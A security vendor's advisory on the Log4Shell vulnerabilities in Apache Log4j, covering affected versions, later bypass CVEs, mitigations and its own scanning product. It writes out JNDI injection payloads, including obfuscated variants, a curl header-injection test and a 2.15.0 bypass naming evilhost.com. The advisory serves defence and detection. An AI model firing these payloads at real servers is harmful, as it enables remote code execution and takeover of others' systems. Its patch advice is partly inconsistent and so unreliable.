All Java applications come with Log4j, a logging library/facade that allows programmers to release output logs to numerous output targets. Log4j is an integral part of Apache Logging Services, which cybercriminals can use to launch RCE attacks due to a vulnerability.
The Log4j bug has sent shockwaves to the worldwide IT ecosystem, where experts are coming together to remediate the Log4JShell (CVE-2021-44228) vulnerability to the digital infrastructure. Many cybersecurity experts also regard the attack to have precedence to surpass any cyberattack from the past decade. A continuous patch management tool can prevent such exploits from occurring.
We often consider a cyberattack a wildfire, but the Log4j vulnerability is deemed a widespread in-the-wild attack. Apache Log4j vulnerability has a CVSS severity level of 10 out of 10, the highest score possible.
Let us look at the typical Log4j scenario and the Log4j JNDI exploit.
Vulnerability Details
On November 24, a critical vulnerability in Log4j was first reported to Apache, which impacted a lot of big companies like Apple, Cloudfare, etc. This vulnerability was discovered by Chen Zhaojun of the Alibaba Cloud Security Team. This flaw has affected the entire Java environment.
An unauthenticated Remote Code Execution vulnerability allows an attacker to send a specially crafted request using a Java Naming and Directory Interface (JNDI). If the server uses log4j to log requests, the exploit will request a malicious payload over JNDI from an attacker server.
As described in the NVD vulnerability disclosure, JNDI features do not protect against requests pointing to attacker-controlled endpoints including LDAP, DNS, and RMI requests. The requests poll an attacker endpoint for a file that’s then executed in the context of the Log4j 2 service.
Examples:
$ {jndi:ldap://<malicious infrastructure>/<payload>}
$ {jndi:dns://<malicious infrastructure>/<payload>}
$ {jndi:ldap://${env:<user>}.<malicious infrastructure>/<payload>}
Further variants of payload have been reported publicly and include slight obfuscation with nested functions like ${lower:<letter>} as follows:
$ {jndi:${lower:l}${lower:d}ap://<malicious infrastructure>/<payload>}
Successful exploitation will have a full system takeover. This vulnerability is easily exploitable. Exploitation can be achieved by a single string of text.
Apache Log4j vulnerability is getting much worse as the number of affected products is growing every minute. Even cloud services like Steam, Apple Cloud are affected by this vulnerability. Every organization is trying to fix its products that are affected by this vulnerability. The Log4Shell vulnerability ranks among the most severe security risks on the internet as of now.
As Log4j is used by most of the organizations, so major services, and applications are impacted globally and multiple attackers are attempting to exploit it on various products. No one knows how far this vulnerability can go and affect the organizations if not fixed by time. This flaw is currently being exploited in wild and it doesn’t stop here even threat actors exploit this vulnerability to execute shell scripts that download and install various crypto miners and various types of malware on the affected system.
You can test if your server is vulnerable or not by using the curl command
curl Server-IP:port -H ‘X-Api-Version: ${jndi:ldap://IP:port/a}’
Steps to Check:
- Instead of Server-IP: port, put the IP and port of the vulnerable system.
- Instead of IP, you can put your private IP or use any DNS logger.
- After running the curl command, if your system is vulnerable, it will send the request to your private IP or DNS logger, and if you refresh your DNS logger, you will see the DNS queries.
In the Screenshot below, private IP has been used to test Apache Log4j vulnerability, and you can see the request from the vulnerable server is coming to the private IP on a specific port provided in the command.
This is the first stage of the Apache Log4j exploit for checking whether the vulnerable server is sending a request or not. For achieving RCE, the payload is triggered at the second stage, which allows an attacker to execute arbitrary code.
As everyone got aware of the vulnerability in Apache Log4j2 and updated to version 2.15.0, a new vulnerability arose in version 2.15.0 also. This flaw is referred to as CVE-2021-45046. It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in specific non-default configurations. This incomplete patch for Version 2.15.0 results in a Denial-of-Service Attack.
The attackers can craft malicious input data using Java Naming and Directory Interface (JNDI) Lookup pattern, which results in DOS Attack. This flaw is not much impactful as of Log4shell.
The new version has been released for Apache Log4j, i.e., 2.16.0, which disables the JNDI and removes the support for message lookup patterns. JNDI was the leading cause for the flaw in Log4shell also. Updating to version 2.16.0 or removing the JndiLookup class from the classpath in prior releases will mitigate the flaw.
After more research, it was found Remote code execution is also possible in the 2.15.0 version only with some bypass. @pwntester on Twitter talked about the possible remote execution in the 2.15.0 version, which is now referred to as CVE-2021-45046 . This vulnerability has been rated as 9.0 out of 10.
According to NVD, “It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allow attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in an information leak and remote code execution in some environments and local code execution in all environments. Log4j 2.16.0 (Java 8) and 2.12.2 (Java 7) fix this issue by removing support for message lookup patterns and disabling JNDI functionality by default.”
The new version 2.15.0 was introduced to prevent remote connections to attacker machines and allow LDAP connections to local addresses only. The new payload to bypass restrictions in 2.15.0 is:
${jndi:ldap://127.0.0.1#evilhost.com:1389/a}
After releasing new versions, another vulnerability was introduced in log4j, referred to as CVE-2021-44832. This flaw affects versions from 2.0-alpha7 to 2.17.0, excluding 2.3.2 and 2.12.4. This flaw allows arbitrary code execution in compromised systems when a configuration uses a JDBC Appender with a JNDI LDAP data source URI when an attacker has control of the target LDAP server.
This vulnerability has been rated as 6.6 out of 10. For successful exploitation, the attacker needs permission to modify the log4j.xml file, which is only available to high privileges and other conditions to perform the attack. This attack is not easily exploitable, but it can lead to complete system compromise if it works.
Note: Some reports are there that Log4j 1.x is also vulnerable but is not wild as of Log4j2. CVE-2021-4101 has been assigned for the flaw in Log4j 1.X. Many organizations are still investigating this and there were some reports from GitHub also. According to RedHat, “this flaw allows a remote attacker to execute code on the server if the deployed application is configured to use JMSAppender and to the attacker’s JMS Broker.”
Apache Log4j Vulnerability has beefed up active discussions on all social media platforms, and Twitter has some informative stuff. Take a look at a few excerpts from Twitter:
Publicly available PoC:
Many proofs-of-concept are publicly available for the vulnerability on GitHub.
How SanerNow detects and mitigates this issue?
SanerNow Security Research team is religiously checking and identifying ways to detect the vulnerability across various platforms and products.
SanerNow currently is capable of :
a. Identifying the vulnerability in various environments with our combination of Local and Remote Checks.
b. Patching or mitigating the vulnerability, for more details, please check Workaround and Mitigation Details.
c. Detailed information about critical vulnerabilities like Log4j are available under High Fidelity Attacks, it also lists the no of affected hosts in an environment.
Impact
Successful exploitation of this vulnerability by an unauthenticated user could lead to complete compromise of the affected system.
Affected Versions
Apache log4j versions from 2.0 to 2.14.1 are affected.
Solution
This vulnerability is patched in the Apache Log4j version v2.15.0. Updating to the latest version will mitigate the flaw.
Workarounds and Mitigations
This flaw can be also mitigated in old versions:
- If using Log4j v2.10 or above, set the property:
log4j2.formatMsgNoLookups=true
- Additionally, an environment variable can be set for these same affected versions
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
- Or remove the JndiLookup class from the classpath. For example, you can run a command like
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
SanerNow can be used to mitigate this vulnerability using the attached mitigation_script (Unix-based machines only):
Note: The mitigation disables the vulnerable class; mitigation can be rolled back using this rollback_script
- Login to SanerNow platform
- Switch to the account/site-specific view and Go to ‘VM tool.’
- If your application is vulnerable, Saner lists the above CVE in ‘Top Vulnerabilities or ‘Recently Discovered Vulnerabilities’
- Search for this vulnerability in VM tool. If you are affected, apply the workaround through EM -> Actions.
- Select ‘Software Deployment’ under Actions in EM tool as shown below:
- Next, we can select ‘Upload’ as shown below:
- This will prompt for uploading software package. Select ‘Compressed Installer Packages’ and upload the compressed file.
- Once the file is uploaded, select the file and click on ‘Edit’. Edit the file by specifying ‘Family’ as relevant OS, ‘Extract Location’ as the extraction location where the compressed file should be extracted and name of the file in ‘Run File’ option as shown:
- Select ‘Update Details’ and compressed file will get updated with all the new details added.
- After the update click on the refresh button and select the file. Click on install.
- Select the affected devices where you need to apply the mitigation
- Update the “Task Name”, “Schedule” the remediation and populate “Reboot Schedule” as required. Next, click on Create Installation task
- Once the task is created, it will start the job and redirect to the page shown below:
Watch SecPod experts demonstrate detecting Apache Log4j Vulnerability CVE-2021-44228 using the SanerNow CyberHygiene Platform and talk about remediation techniques:
However, With SanerNow Vulnerability Management, you can quickly detect the Log4j vulnerability in your network. SanerNow VM is built on the home-grown world’s largest vulnerability database with 160,000+ security checks. SanerNow offers the industry’s fastest vulnerability scanning techniques to detect vulnerabilities in less than 5 minutes.